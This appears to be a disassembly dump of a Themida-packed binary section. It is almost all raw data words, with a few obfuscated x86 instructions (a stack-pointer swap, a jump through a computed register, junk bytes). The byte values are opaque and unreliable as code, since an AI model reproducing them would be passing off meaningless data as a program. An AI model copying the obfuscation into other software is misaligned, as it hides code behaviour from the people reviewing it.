dd 8F9D728Fh, 0B4EEA9FDh, 0E1B6F66Dh, 0ED7293BCh, 0D00097B3h dd 0CD43F1B6h, 0F0A8h, 47000000h, 0E3129D74h, 5E99E0h dd 0 dd 14BAE900h, 25680000h, 0E906180Bh, 0FFFA76B5h, 180C3F68h dd 76ABE906h, 968FFFAh, 0E906180Dh, 0FFFA76A1h, 180E5768h dd 7697E906h, 0EE68FFFAh, 0E906180Eh, 0FFFA768Dh, 180FBB68h dd 7683E906h, 7068FFFAh, 0E9061810h, 0FFFA7679h, 18112068h dd 766FE906h, 0D568FFFAh, 0E9061811h, 0FFFA7665h, 1812FC68h dd 765BE906h, 2168FFFAh, 0E9061814h, 0FFFA7651h, 18158168h dd 7647E906h, 0A468FFFAh, 0E9061816h, 0FFFA763Dh, 1817F668h dd 7633E906h, 2468FFFAh, 0E9061819h, 0FFFA7629h, 181A8868h dd 761FE906h, 5D68FFFAh, 0E906181Bh, 0FFFA7615h, 0FC9A06F9h dd 10AE180Ch, 28C62820h, 3EDC4238h, 53F1594Eh, 24198BE6h dd 372E1EBCh, 4C4535D3h, 645E4EECh, 8696806h, 1106F97h dd 196B7E76h, 0B4B7150Fh, 8A604FEh, 12ED7873h, 0FE9249DCh dd 11822DC5h, 69FB3E54h, 7CE0D785h, 888B2379h, 0FB420B37h dd 8A6A4375h, 2FBA5FB6h, 3DA6DEh, 6A4C0000h, 0C48A8063h dd 11676ACCh, 88207679h, 116B6CDDh, 54A269FBh, 1ED40051h dd 0F5EA75FBh, 0AFA5F891h, 821AD769h, 6BD5C97Fh, 6B4B0468h dd 6D4D26FCh, 2F8C4299h, 0DD89DEh, 0F2F0000h, 4BB4B715h dd 94058075h, 6FE9076Ch, 8A8D2573h, 0E47CDAD4h, 45ADA27Ah dd 34928C42h, 44701789h, 0D67ABD27h, 0B392BA2Bh, 4B996FE9h dd 4E48FEE1h, 0D9AF52F0h, 0DCE87CE4h, 3CBE7914h, 0FA0C7FE9h dd 1C6FE9E2h, 0A719C422h, 0B4BA109Dh, 0F977E142h, 0AEB10F09h dd 70695853h, 0A6648CFDh, 1D6B6FE9h, 0D142ED85h, 69FBA628h dd 0B045E331h, 0A7B26BDh, 701048DBh, 244CBD46h, 2B6FEF38h dd 469473DDh, 68D0C59Bh, 5A5127CAh, 339DF3F6h, 0CFE665Bh dd 79420ACBh, 2AF2977Ah, 34000012h, 4737D541h, 5B4BE953h dd 73630163h, 8979177Dh, 218E2C94h, 0F75F54C6h, 0E726959h dd 27878070h, 419F9989h, 0D243A4A3h, 760112AAh, 0F4C9EB1h dd 2414B21Ah, 4B21CC2Ah, 9AF0F351h, 6A5EB230h, 0C435E063h dd 69FB11C3h, 0A8F9FC4Ah, 75FB1E7Ch, 27FBDBB4h, 0DE2F91D0h dd 10217h, 865CBD00h, 0E6BE2892h, 0D58B8EECh, 482C7CE0h dd 8F8DE461h, 91A3F4F7h, 0A36FE95Dh, 8DF7EBA9h, 0FE9C348Ah dd 2B8D855Bh, 9068D228h, 48D3896h, 0A4C9F592h, 95287B7Dh dd 6FE9C46Dh, 0C4375FD0h, 0F8466FE9h, 5E41ABF9h, 0CE790803h dd 0FBC3B45Dh, 0D977C569h, 0A0BE4944h, 0EB45D94Fh, 0D9AF5AF2h dd 8D837BE5h, 64CE2427h, 857A50D9h, 40B11A1Dh, 75FB4618h dd 0D741D927h, 0FEB4664h, 85AB1D70h, 0AA34BA2Dh, 23957465h dd 6C043553h, 62D92302h, 0FD1B19C4h, 0F890EEE8h, 262C7764h dd 54EC31B9h, 0C1EA37A9h, 14EB6FA1h, 54491FAAh, 695E4EECh dd 0FEC60F01h, 90737941h, 1110EBh, 0EF5B4E00h, 36D6151h dd 1B7D7565h, 31978D7Dh, 46AEA393h, 6EDC3BA8h, 83731179h dd 9A8A288Ch, 0B3A341A1h, 0BEBD5BB9h, 13C4EC5Dh, 0B8CB7601h dd 0B21A0F66h, 0B2A87E07h, 791B94Ch, 4A986FE9h, 787262E0h dd 0F287C1Ah, 0FEB4B715h, 6508A604h, 7436BDCh, 0FC4A6FE9h dd 60C2BA92h, 4FADA75Dh, 88CD5FB1h, 2EA99E85h, 0E90795BDh dd 0BE56A46Fh, 796D65BBh, 5BCC770Fh, 69FB2EBEh, 0B407014Fh dd 9E756087h, 0C36EF5F8h, 93236952h, 9FA2F05Bh, 8434C436h dd 6B9F3869h, 0FA898401h, 0BC85DE4Fh, 4A946186h, 0E617117Eh dd 4EF99140h, 82207E78h, 0AE1209DFh, 18726C44h, 0A096C0E7h dd 4B3DD555h, 87A8A880h, 461DC2A5h, 18000010h, 2B1BB925h dd 3F2FCD37h, 5747E547h, 6D5DFB61h, 5721078h, 0DB4338AAh dd 0F2564D3Dh, 0B6B6454h, 25837D6Dh, 0B6278887h, 7601148Eh dd 0F388A9Dh, 4BB4B715h, 0A507F6D9h, 6B1B186h, 0E97B6D95h dd 0C42E7C6Fh, 12BD4447h, 58BCB389h, 0E354FF55h, 6FE97BBBh dd 970A74C2h, 69FBA392h, 0B9E152B3h, 0C075FB64h, 0A73CDA72h dd 1721DA4h, 700D88D8h, 3F9093E1h, 6FE97813h, 796E3229h dd 0C0767911h, 0F86164CAh, 0E9785F87h, 7A206E6Fh, 9C72E1C1h dd 0B80FE3C3h, 0FFD81DEBh, 40h, 80636AA5h, 0CA20238Bh dd 3D168732h, 0A069FB4Ch, 0AF20FE2Eh, 0B8221371h, 0AE08BD9h dd 8813B111h, 75FBD65Eh, 7A187670h, 0A50B01D7h, 0AE24CA2h dd 45AEB111h, 0F127A6Fh, 6A884FB9h, 3600000Fh, 35E0636Ah dd 0F11073C4h, 0CE70BA69h, 3AD37BC2h, 6B41EC84h, 0C72B1771h dd 1AB0D849h, 71BF7601h, 0FD694ADDh, 0DDD7C765h, 2A217C7Fh dd 0BAEB1384h, 0A4F27601h, 46F0610Ch, 517009C2h, 88825803h dd 13E98C2Ah, 64B6B91Bh, 0B6368A07h, 0E14BE338h, 0AEB10F09h dd 72695853h, 0BE1C160Eh, 490A7B26h, 8069FBFBh, 47794032h dd 0AD907335h, 0EF808h, 7736600h, 1B857969h, 33958D7Dh dd 49AFA595h, 5EC6BBABh, 86F453C0h, 9B8B2991h, 0B2A240A4h dd 0CBBB59B9h, 0D6D573D1h, 15DC0475h, 0D0E37601h, 748747Eh dd 0B2B96FE9h, 6113842Fh, 6C69F10Fh, 61EA731Eh, 0E3B7B4EFh dd 28BBF388h, 76015D00h, 7F57C10Fh, 0A7C2785h, 0EBE258Fh dd 53D13B77h, 600B6963h, 2F32908Ah, 85EBE1D9h, 0DFC22C82h dd 547CED76h, 0C67601B2h, 28AB2BC2h, 0E5C5B6Dh, 9D2427A4h dd 0E87C81F2h, 3F8D7013h, 3DAB624Dh, 0BB09379h, 0E61h dd 9E0AFDh, 14B21C10h, 2CCA2C24h, 42E0463Ch, 57F55D52h dd 281D8FEAh, 3B3222C0h, 504939D7h, 686252F0h, 0C6D6C0Ah dd 115739Bh, 15677A76h, 5E57150Fh, 0AD6366FEh, 355255B3h dd 64C6BE94h, 19130B61h, 0D0B051BBh, 877EDC4Eh, 6A7552Bh dd 0F868BF9Ch, 31AFD81Dh, 55000009h, 35E0636Ah, 9C06665Fh dd 0EE9A011h, 724869F1h, 0BF15187Ah, 36DCFC7h, 19817624h dd 774DD681h, 0C3191C80h, 56FD5CBh, 8075332Dh, 27BF1518h dd 419F9989h, 0DB4CD53Eh, 76010FB3h, 0ED86CBAh, 7FCF3B1Bh dd 6F9B0E78h, 0E07601B0h, 9CFEF6EDh, 0AB4399h, 66D0322Ah dd 0D8656ADBh, 22F87013h, 7B5AC42Eh, 0BB723B2Dh, 9477793Dh dd 0D94EFh, 6BD7CA00h, 7FE9DDCDh, 97F9F1E1h, 0AD1309F9h dd 0C22A1F0Fh, 0EA58B724h, 0FFEF8DF5h, 1606A408h, 2F1FBD1Dh dd 3A39D735h, 164068D9h, 3C4F7601h, 0B7150FEAh, 0AA04FEB4h dd 0DECA2793h, 0BB191354h, 0D2CA62B8h, 0DDE078DAh, 0A72909C0h dd 7E3EA935h, 1E902486h, 0DD4793h, 0D81DC4A9h, 85FF0h dd 7B714700h, 746FAB15h, 6FE90748h, 0AB1CB2B9h, 6FE90783h dd 90B8298Ah, 9F6FE907h, 7621B951h, 0F10F0E05h, 46F13F69h dd 0F244CBDh, 0DD2B7601h, 1812E873h, 322C1CBAh, 7776D1D4h dd 0CBD041ECh, 0CE701337h, 319B03F8h, 11120452h, 44793E1Ah dd 0CDFBC61h, 8C7F0000h, 9E928220h, 0AEA69634h, 0C8BEAE4Ch dd 0DFD4C462h, 0D6CD977h, 0A442AA9Fh, 0BB59BDB4h, 0D472D2CBh dd 0EE8CEAE4h, 0F51D8EEFh, 4760117h, 150F9FF1h, 70B33A4h dd 0C4126FE9h, 40970930h, 0BE56E023h, 4D0B05BBh, 98EEF157h dd 29E0FD00h, 0A41E7549h, 0B165D81Dh, 0B000007h, 35E0636Ah dd 0F10EB4C4h, 822D7B69h, 4E51B5ACh, 3C3F9F98h, 59E44EE6h dd 0D4CB8983h, 89D1D474h, 44DC3DA7h, 0A853EB41h, 7679D9D2h dd 4838B620h, 9CEDF04Eh, 76020270h, 0A305FDD3h, 63E04AA0h dd 0BD2ED968h, 70142AB8h, 809FB49h, 31793D69h, 0C2FA94Eh dd 3C2F0000h, 4E4232D0h, 5E5646E4h, 786E5EFCh, 8F847412h dd 0BD1C8927h, 54F25A4Fh dd 6B096D64h, 8422827Bh, 9E3C9A94h, 0A5CD3E9Fh, 0B4760118h dd 150F4FA1h, 4FEB4B7h, 0F3EDA3A6h, 0E4DC9295h, 0D3C97F82h dd 10146A6Dh, 0E948B797h, 277E5232h, 6ED81D7Fh, 704h, 91FBEFC5h dd 4B74EB27h, 0B46FE907h, 0E7F2AB9h, 69F10F19h, 592FDA28h dd 7363015Fh, 0BD181B79h, 0FF8833CEh, 10F668Eh, 0FC61E076h dd 867FD318h, 8DB52687h, 9C7601A9h, 0CABEB64Eh, 0FA6BF660h dd 7013C36Dh, 0C2EA5BBCh, 0D06FF38Bh, 1E7477D7h, 4739D11Fh dd 793DB6C0h, 7ADD8265h, 0E400000Bh, 0F7E785F1h, 0BFB9903h dd 2313B113h, 3929C72Dh, 0D13EDC44h, 0A70F0476h, 0BE221909h dd 0D7373020h, 0F14F4939h, 82F35453h, 7601185Ah, 0FFC4E61h dd 0FEB4B715h, 87A3A604h, 251FEECEh, 720A7267h, 7A88DFD4h dd 4FCFD81Dh, 75000001h, 3A62D35Ch, 416FE907h, 0B7B189F3h dd 0A6A05659h, 0A3149D48h, 6FE9077Bh, 4CCA3482h, 822DB4B7h dd 0FB1E5411h, 0B03D969h, 12603FA9h, 2292BE0Fh, 0F1CA75FBh dd 95068F11h, 75FB226Dh, 0E7C42E7Ch, 0DE2F9990h, 35D7h dd 38BC2E00h, 79D7D1A2h, 8C8C2076h, 1753BDCAh, 35E0636Ah dd 0FB11C3C4h, 51FC4A69h, 1F22827Bh, 2B7C5FC9h, 75FB1DFFh dd 0AA7E5E37h, 0DE2F9253h, 0AE9Ah, 150F4000h, 9FEB4B7h dd 0EEE89EA1h, 0DDD78D90h, 2BC3291Fh, 2DE0028Dh, 11836FE9h dd 4B85E0D6h, 0AE86F0EDh, 23B856B4h, 0ED158628h, 0FC6FE92Fh dd 0FA6B16AEh, 69FDD65Ah, 0E2B863B1h, 4DA85EDh, 0ED574B0Bh dd 1139AA55h, 1875FD8Ah, 0F2E260CAh, 62A395FDh, 0B77333B7h dd 0A532FD4h, 180B0000h, 2A1E0EACh, 3A3222C0h, 544A3AD8h dd 6B6050EEh, 99F86503h, 30CE362Bh, 47E54940h, 60FE5E57h dd 7A187670h, 81A91A7Bh, 88760119h, 1A0F2375h, 2A2414B2h dd 0C29821CCh, 0ADD568CAh, 106FE907h, 0E907779Fh, 3938866Fh dd 9931938Bh, 5C5DB12Fh, 25289286h, 58353BCFh, 801CD56Ah dd 0E6443E16h, 0D9332DE3h, 8389F3D2h, 7A18B0D4h, 50B9Bh dd 636A4900h, 33C435E0h, 0FA69FB1Fh, 2C58A9ACh, 4275FB1Fh dd 2FE5E84Ah, 7CD3D636h, 986EDDBDh, 0D45DDFBFh, 9FA208FEh dd 1F8EB649h, 4F9D75FBh, 92B108E5h, 46F8DE2Fh, 9E000002h dd 1C0FEA5Ch, 0C433953Eh, 0B124DF75h, 0A14CE452h, 0E99D0830h dd 5FC9176Fh, 0E99DC5ECh, 0A0232A6Fh, 0A49584F5h, 0EA9869F1h dd 0D72693F3h, 6A8E3D55h, 0CE79CFD2h, 15A355Dh, 5EF64476h dd 0D8B82AB3h, 15208D4Fh, 98FCF3h, 66C4BE96h, 80DED8C8h dd 1A8B147Dh, 7601CFF2h, 0A2A50900h, 95FF4D4Ch, 0E38E1518h dd 13E8E572h, 0F4E63470h, 793D4D07h, 2E761BFEh, 30000009h dd 4333D13Dh, 5747E54Fh, 6F5FFD5Fh, 85751379h, 1D8A2890h dd 0F35B50C2h, 0A6E6555h, 23837C6Ch, 3D9B9585h, 0CE3FA09Fh dd 76011BA6h, 5C50A2B5h, 73A62D3h, 0F3416FE9h, 59B7B189h dd 0E8A6A056h, 0F0F38BF3h, 0DFE2403Ah, 0CDD03029h, 61D0B069h dd 9B6A4A03h, 2A543A1h, 66D0362Ch, 1D7B3289h, 16779D8h dd 0F1F0000h, 4BB4B715h, 0DA8EA1D9h, 87277C7h, 2DD83630h dd 0B10B33A4h, 24196FE9h, 6463B9BCh, 0C25AC0B6h, 4645DA58h dd 0E29F10BBh, 0F369FBC7h, 2551A2A5h, 5D75FBB8h, 79D0A484h dd 0C0DE302Fh, 50h, 0A9EA5C66h, 16E8E089h, 0BBB22F99h dd 0B0C7D28h, 9669FB45h, 0FD67C7C0h, 1F0ED41Eh, 451E2F3Bh dd 0FBCAACD4h, 0CD65B375h, 0A983F239h, 67FFD554h, 2F25FB64h dd 670C6C9h, 0FB0A6793h, 0E6C69F75h, 2F7DBB12h, 0E1DAB0DEh dd 0A6DE1781h, 84000000h, 0CB7150Fh, 0E1D94136h, 2C8285EBh dd 3429DFC2h, 0EE60C9CCh, 76347605h, 739B0C3Dh, 7A6FE9EFh dd 522A942Ch, 41F7FA58h, 0C04BE947h, 6FEA3E8Eh, 0C435A6A0h dd 6FE9C29Ch, 0BC155A3h, 0CB573C86h, 0E9BF6A02h, 0A3218BF5h dd 0D9841F0Eh, 0FDCBC868h, 4EF94769h, 7D1B8378h, 3E30988Dh dd 733385ABh, 0CEB65B3Eh, 90000007h, 0A393319Dh, 0B7A745AFh dd 0CFBF5DBFh, 0E5D573D9h, 7DEA88F0h, 53BBB022h, 6ACEC5B5h dd 83E3DCCCh, 9DFBF5E5h, 2E9F00FFh, 76011C06h, 0FB00215h dd 2414B21Ah, 8B2ECC2Ah, 0F15BBDB5h, 0A3EA5CB5h, 56F5DAC7h dd 0EB7D0CA0h, 0D223A72Ch, 0D8969068h, 277D80DEh, 0DCD68C8Fh dd 744AD37Eh, 5D85187Eh, 6C6FEA00h, 5736B41Eh, 28Ch, 0E0636A05h dd 106FC435h, 70BE69F1h, 0A7B046Dh, 760110E2h, 0BE319BE9h dd 76011092h, 373107CAh, 0EECE6FD9h, 586FA6Ch, 6F5B38BFh dd 56282973h, 0FD67FFE7h, 35ACC920h, 22810DEh, 5CB60000h dd 73A62D3h, 0F7416FE9h, 69E05AABh, 1A841C9Bh, 0E94C80A7h dd 65FCEF6Fh, 54FC49BAh, 0BF0D69F1h, 0F21A8B14h, 0F9760153h dd 54AB27AFh, 0F890CDE5h, 0F17A038Eh, 11E5880h, 15756E76h dd 0AC1DC816h, 76011E84h, 0FBD33D8Bh, 1505A301h, 5635D1Bh dd 2B016A6Dh, 0B728D331h, 76011E8Fh, 69E6509Eh, 0C334DF62h dd 70133836h, 98C7B907h, 0BD793E09h, 6AB35DAh, 0C0B30000h dd 0D2C6B654h, 0E2DACA68h, 0FCF2E280h, 1308F896h, 41A00DABh dd 0D876DED3h, 0EF8DF1E8h, 8A606FFh, 22C01E18h, 2951C223h dd 3076011Dh, 150FCB1Dh, 0CA9A0CB7h, 0BF1D173Dh, 0B8D266BCh dd 0A083ED67h, 8F92F0EAh, 58DABA73h, 0F72B8B82h, 319A48Dh dd 5BB1B44Ch, 0C11F19F1h, 0B0AA8023h, 8FF94F52h, 1E545BB2h dd 144A2D8h, 0F480000h, 0FEB4B715h, 7308A604h, 683EE978h dd 0B60C0F6Fh, 4CD5522h, 1D8747DEh, 0B8642192h, 277569FBh dd 88A7D324h, 6DF75FBh, 0D4CEA426h, 0B31D7376h, 2FFF7FD6h dd 45C6DEh, 6A6C0000h, 3362E463h, 7068C717h, 0A01EE9DCh dd 62FA634Fh, 964546B7h, 0E65869FBh, 0A2D2499Bh, 0E3D7CFCCh dd 0B6207679h, 358689D7h, 75FB2009h, 0B4886841h, 0DE2F945Dh dd 0B5A4h, 0A289FB00h, 0E94DD9D1h, 5C5490FAh, 0C12B8F86h dd 3731EFE9h, 0E880D6D9h, 0D23A2FE5h, 611F19CFh, 0AB01046Ch dd 35A71013h, 0B59E97EDh, 9E76E089h, 5A846A4h, 8B15393h dd 0F6609E35h, 0E9C14183h, 0FB59536Fh, 20827A50h, 0A8A338B6h dd 5DFD6E19h, 0AC69FDECh, 0E6DDB35Eh, 0BF297F82h, 1695E34h dd 167E7363h, 33A63924h, 882D1073h, 559h, 8A61205h, 1CBA2418h dd 34D2342Ch, 4AE84E44h, 5FFD655Ah, 302597F2h, 433A2AC8h dd 585141DFh, 706A5AF8h, 14757412h, 11E7BA3h, 1D6F8276h dd 7B21A0Fh, 4FAFA87Eh, 0E90794BCh, 0E34D9B6Fh, 1D7B7565h dd 150F2B7Fh, 12830CB7h, 6FE907EAh, 5639A3F1h, 0AA48A6A0h dd 27CBh, 150F7900h, 4FEB4B7h, 52EA5046h, 77DDD1A7h, 2505A956h dd 0B7BA527Bh, 0B714F761h, 57512000h, 1C7C5BF9h, 2A000000h dd 0B4B7150Fh, 1C7C754Bh, 7123FB2h, 902F6FE9h, 60582EB0h dd 0C2BC94FEh, 5C72C664h, 73A62D3h, 4F486FE9h, 38A2F0EFh dd 5086660h, 56D1C69Ch, 0E907BDE5h, 0E67ECC6Fh, 7A2CA3Bh dd 5BA96FE9h, 0EA7974F1h, 0BC2DB63Fh, 6FE90794h, 92BA4D9Bh dd 996FE907h, 0FB7BB74Bh, 29AE7830h, 72C334BFh, 0BB69F18Bh dd 0F2ECC26Dh, 0C06F694h, 5D50ABAEh, 0AA1BC6h, 63700981h dd 0CA34948Dh, 69F29DEBh, 0CE389C93h, 9EFCF6h, 0B5B81610h dd 25D0535Ah, 0FB90F3B4h, 9F986E69h, 7CE63C3Fh, 0F65D4F9Dh dd 3F7335D0h, 42BB75Ch, 40330000h, 524636D4h, 625A4AE8h dd 7C726200h, 93887816h, 0C1208D2Bh dd 58F65E53h, 6F0D7168h, 8826867Fh, 0A2409E98h, 0A9D142A3h dd 0B0760120h, 865C4B9Dh, 0E7BF2991h, 1F18FEDh, 8CFEA907h dd 14B1FDFCh, 0F2D53FBEh, 9BE8423Ch, 71D7D20Fh, 9D32E886h dd 9B77F909h, 0E9B1022Ah, 23BB096Fh, 35CD372Bh, 7D5D1632h dd 0B856B4AEh, 1E246CC3h, 2BB3D8h, 6A590000h, 0C435E063h dd 69FB4BEBh, 6339E432h, 0E16C0A6Ah, 75FB54B7h, 0D775D3CDh dd 3675E34h, 6840AA00h, 670C0F6Fh, 38Dh, 57150F15h, 0A1F7FA62h dd 56500609h, 45B75AF8h, 5B13F564h, 25A20CFEh, 67F09B26h dd 0DFD39D91h, 841C7275h, 0F802B81h, 6FE92BE7h, 0CB3EA8F6h dd 69FB420Eh, 85EEF13Fh, 0E953B9AFh, 0FB464A76h, 0C9A98275h dd 2FBD9EF5h, 20E5DEh, 6A8B0000h, 0C435E063h, 69FB11C3h dd 0A8F9FC4Ah, 75FB1E7Ch, 27FBDBB4h, 0DE2F91D0h, 9F17h dd 150FBD00h, 9FEB4B7h, 0EFE74941h, 0F6F991FBh, 0E5E84640h dd 39D7352Fh, 0E9029CAEh, 1A78726Fh, 903D97Ch, 6F6941ABh dd 0B8B30E11h, 1FF57E29h, 0EA5DC725h, 69FB2931h, 0D76C0A58h dd 31A24DD4h, 700FCE9Bh, 0B3893482h, 0C8B856BEh, 0C8796BD3h dd 517941B2h, 2C7C96Eh, 0A4970000h, 0B6AA9A38h, 0C6BEAE4Ch dd 0E0D6C664h, 0F7ECDC7Ah, 2584F18Fh, 0BC5AC2B7h, 0D371D5CCh dd 0EC8AEAE3h, 6A402FCh, 0D35A607h, 1C760121h, 1A0FB709h dd 0E87114B2h, 0E9074F77h, 0B7B05E6Fh, 7D55BF57h, 33872583h dd 2892865Ch, 13796F25h, 9994117Bh, 554DB5AAh, 0B762FA5Eh dd 9E60582Eh, 0A7AA42A8h, 98F8F1h, 12222396h, 0DD2B69FBh dd 1E5D89DAh, 0BC9575FBh, 91B108DCh, 97F8DE2Fh, 9E000000h dd 5D57150Fh, 0AE6467FFh, 0FD4E51B9h, 6FE902EBh, 4BE94741h dd 76DCD2A8h, 0DBB31D73h, 258083E1h, 67F09B26h, 73ADC4F5h dd 66D079A7h, 0FBD23AF3h, 77156369h, 0AD58EBE2h, 103D053Ch dd 0FBA0870h, 3EDC4439h, 0FFF1594Eh, 79421738h, 0F245EACDh dd 6C000001h, 7F6F0D79h, 9383218Bh, 0AB9B399Bh, 0C1B14FB5h dd 59C664CCh, 2F978CFEh, 46AAA191h, 5FBFB8A8h, 79D7D1C1h dd 0A7BDCDBh, 760122E2h, 0F84D6E9h, 2414B21Ah, 9821CC2Ah dd 0E906FF27h, 56C00E6Fh, 150F84D8h, 3F360CB7h, 0C13D8ADFh dd 57EFA244h, 0B194FE54h, 0B89ED648h, 7C10746Bh, 0E751BB58h dd 19B7150Fh, 0CED12F29h, 4AEDF365h, 0F6C543A2h, 36A00AFEh dd 0AB1CB2B9h, 6FE92683h, 0C7A83C8Ah, 796876C2h, 51DA851Dh dd 0E9ABB8E0h, 8179C76Fh, 33BE2888h, 0FBA4C1C2h, 0F7FA4869h dd 7F01E1A0h, 0D4FC6DF6h, 0DB75FBA9h, 0A9D2FA8Dh, 8BD975FBh dd 914F4921h, 0DB31349Ch, 9E0F9843h, 75FBA976h, 4FCD3785h dd 8530B3BAh, 0DB21714h, 4DF84670h, 0AF198377h, 0BE1C16CCh dd 0C7A75EBBh, 234BBC45h, 956FE9B2h, 0B38AD0D1h, 86E7E646h dd 0E9A3ED15h, 16AEFC6Fh, 0A53C2FACh, 0AB8C89FAh, 3B1169FBh dd 29DFE242h, 0CF39D12Fh, 133A6F0h, 0F1C3446Ah, 0D1CBBB59h dd 3D370E77h, 35CD359Ah, 23837C32h, 2A0AC920h, 0AAA3615Bh dd 59F1474Ah, 9C2726BBh, 9B9268F1h, 797CE0D7h, 0AE218B23h dd 700DE9ADh, 8EB627B0h, 9D6FE9F6h, 0B33A44Fh, 126FE9F6h dd 2D7B5AC4h, 1C7A742Ah, 2303C219h, 0CDC5BCAFh, 7A12686Bh dd 0EF5D5ECFh, 9EEC69FBh, 0E9EB5D00h, 0FF6A8679h, 2528A50Fh dd 31F21A8Bh, 0ABF975FBh, 59F76813h, 8700339h, 6ED83A32h dd 0C096418Fh, 15F862CCh, 68DFD6ACh, 0F329CFF7h, 0F890DE6Fh dd 5EBCB68Eh, 78D6D0C0h, 0FE222475h, 0D68D7A28h, 0CF2D27F6h dd 0E9474131h, 0F873683Eh, 0E7065F87h, 88206E85h, 0FCD23B1Eh dd 0EA4A4303h, 0F6F991E7h, 4AE24C40h, 0AC1208E0h, 0D3A952A9h dd 6F107ADAh, 68C6C08Fh, 82E0DACAh, 3DA7Fh, 95880000h dd 0B01C0F59h, 9FFDF7ADh, 8DEDE69Ch, 79DDD48Ah, 63CBC076h dd 4DB5AA60h, 389E944Ah, 25877F35h, 0E786C22h, 9684D0Bh dd 89000021h, 89562404h, 4C681E6h, 81000000h, 4EEh, 24348700h dd 2414895Ch, 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch dd 0EA68243Ch, 8B061809h, 0C4832414h, 3C8B5404h, 4C48324h dd 6B0768h, 24148900h, 0B8243481h, 8F4E0F48h, 77810847h dd 0F48B808h, 243C8B4Eh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 jmp loc_54EA15 ; --------------------------------------------------------------------------- test [edx-47A93DC7h], dh jz short loc_5A8830 sbb [esi], al add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0A9h, 28h, 19h dd 0D467F32Dh, 0C26D5F76h, 0FD6D9B44h, 48CDE70Ah db 18h byte_5A882D db 0BCh, 32h, 8Eh ; CODE XREF: Themida_:loc_5A8830j ; --------------------------------------------------------------------------- loc_5A8830: ; CODE XREF: Themida_:005A8811j jp short near ptr byte_5A882D push ss ; --------------------------------------------------------------------------- db 0DBh dd 0DC8DC731h, 67A68809h, 306D732h, 8B570968h, 5D962206h dd 3B9BC416h, 1B25206Ah, 8F4BD27Ch, 0F07E111Ah, 901ED264h dd 8C177821h, 23D3720Ch, 73B1FE28h, 6D691A6Ch, 71C18659h dd 98DBD04Fh, 0F6913815h, 0E968893Fh, 135B6F65h, 325E782Ah dd 1348E912h, 0E260346Bh, 133C6955h, 0E8A5E4Ch, 0ABE92Ah dd 668A0000h, 0CC471264h, 38F3BAF5h, 0AFD666D1h, 0B2979FABh dd 0B7E37C4Dh, 0E5720095h, 9CB5E9A9h, 77609BB6h, 94A9B6F3h dd 0D7609EB7h, 0BD897D60h, 0BD8C9EA9h, 0ACE3729Eh, 8B204A95h dd 937E9BB9h, 96B99D89h, 9E96AFF4h, 0D6B594A1h, 0FD91A7h dd 4ACC48D1h, 713C3359h, 0DB4D5200h, 5EF357h, 9DBBEFB6h dd 9500BD89h, 0EFB69F89h, 0D00097BBh, 55C3B1B6h, 37005271h dd 0D3C20DA4h, 0E0910h, 0Bh dup(0) dd 10B2E900h, 25680000h, 0E9061821h, 0FFFA60C1h, 18222568h dd 60B7E906h, 0DC68FFFAh, 0E9061822h, 0FFFA60ADh, 18241E68h dd 60A3E906h, 9668FFFAh, 0E9061824h, 0FFFA6099h, 18254568h dd 608FE906h, 0E068FFFAh, 0E9061825h, 0FFFA6085h, 1826E068h dd 607BE906h, 0BB68FFFAh, 0E9061827h, 0FFFA6071h, 18287C68h dd 6067E906h, 5E68FFFAh, 0E9061829h, 0FFFA605Dh, 182B2068h dd 6053E906h, 5B68FFFAh, 0E906182Dh, 0FFFA6049h, 182E4C68h dd 603FE906h, 0DCCFFFFAh, 0EEE2D270h, 0FEF6E684h, 180EFE9Ch dd 2F2414B2h, 5DBC29C7h, 0F492FAEFh, 0BA90D04h, 24C2221Bh dd 3EDC3A34h, 456DDE3Fh, 54760126h, 0D3CAA041h, 18E56373h dd 9D35387Ch, 150FF733h, 4FEB4B7h, 97C8FEAAh, 14ACF8FBh dd 44EAE176h, 0E92BABD3h, 0CC64B26Fh, 2269821h, 8C892B4Ch dd 8C538A2h, 3969FB6Eh, 6B97E8EBh, 0A375FB52h, 0BF16EACAh dd 0B4DE2FC9h, 0B3468242h, 0BC261775h, 2583h, 636A2900h dd 0C3C435E0h, 4A69FB11h, 3B3EA89Ch, 0F94A4DE5h, 75FB1ECDh dd 784C2C05h, 0DE2F9221h, 11368h, 150F0E00h, 9FEB4B7h dd 0C3359EA1h, 66D75481h, 6FE9903Eh, 0E46BFF4Dh, 4D258F05h dd 89F2F553h, 66863117h, 38A2CAF7h, 6A086660h, 0E91ECCDFh dd 0A866606Fh, 30A14CB2h, 6FE91F08h, 8631C917h, 0E852BCB0h dd 0C2807A6Ah, 21CC64CEh, 1EFF2798h, 0C00E6FE9h, 15187356h dd 160DE38Eh, 4CBD48B2h, 69FB1EA3h, 29BE5CAAh, 84483F22h dd 0D2282B8Bh, 0F61E8F3Ah, 575FB1Fh, 0EB741FB7h, 0FB1F527Ah dd 143CAD75h, 1B75FB1Fh, 1680CECDh, 0C1EB1A8Bh, 0B402700Fh dd 86F78009h, 6FEFBD5Eh, 0DDB51F6Dh, 4CD580E8h, 86198176h dd 6FEFBD5Eh, 37B51F6Dh, 0F8EA5247h, 79431B73h, 0E9EA8F72h dd 3400000Dh, 4737D541h, 5B4BE953h, 73630163h, 8979177Dh dd 218E2C94h, 0F75F54C6h, 0E726959h, 27878070h, 419F9989h dd 0D243A4A3h, 760128AAh, 5C4C9EB1h, 73A62D3h, 24956FE9h dd 6FE907FCh, 68B6B503h, 0C93126FEh, 0E3413B2Bh, 163EAF38h dd 256FE907h, 9BEF6DD7h, 2D8D865Ch, 0BC4746C3h, 119FA011h dd 64AE69FBh, 4FBBC08Eh, 5D60F831h, 0FBF4E00Ch, 5F3F1875h dd 3068348Bh, 0BA7BDEh, 0F210000h, 0FEB4B715h, 4D9EA109h dd 6FE9023Ah, 0CF7AD8D2h, 0B0D9FF5Dh, 0B728C10Ah, 6FE9268Fh dd 4EB8509Eh, 75E6E0D0h, 0E926DC04h, 90F2EA6Fh, 97BF3091h dd 0A66FE926h, 7D28C058h, 0E04AB2A7h, 18ABA2FDh, 0D25BE46Dh dd 0E9263961h, 5FF2406Fh, 6FE92637h, 1B8EF846h, 69FB2672h dd 0FA8F2D7Bh, 54C570F3h, 700FCB36h, 0D2322BD9h, 36E179CFh dd 65036B60h, 26188075h, 79431CB3h, 0E90EB396h, 3400000Ch dd 4737D541h, 5B4BE953h, 73630163h, 8979177Dh, 218E2C94h dd 0F75F54C6h, 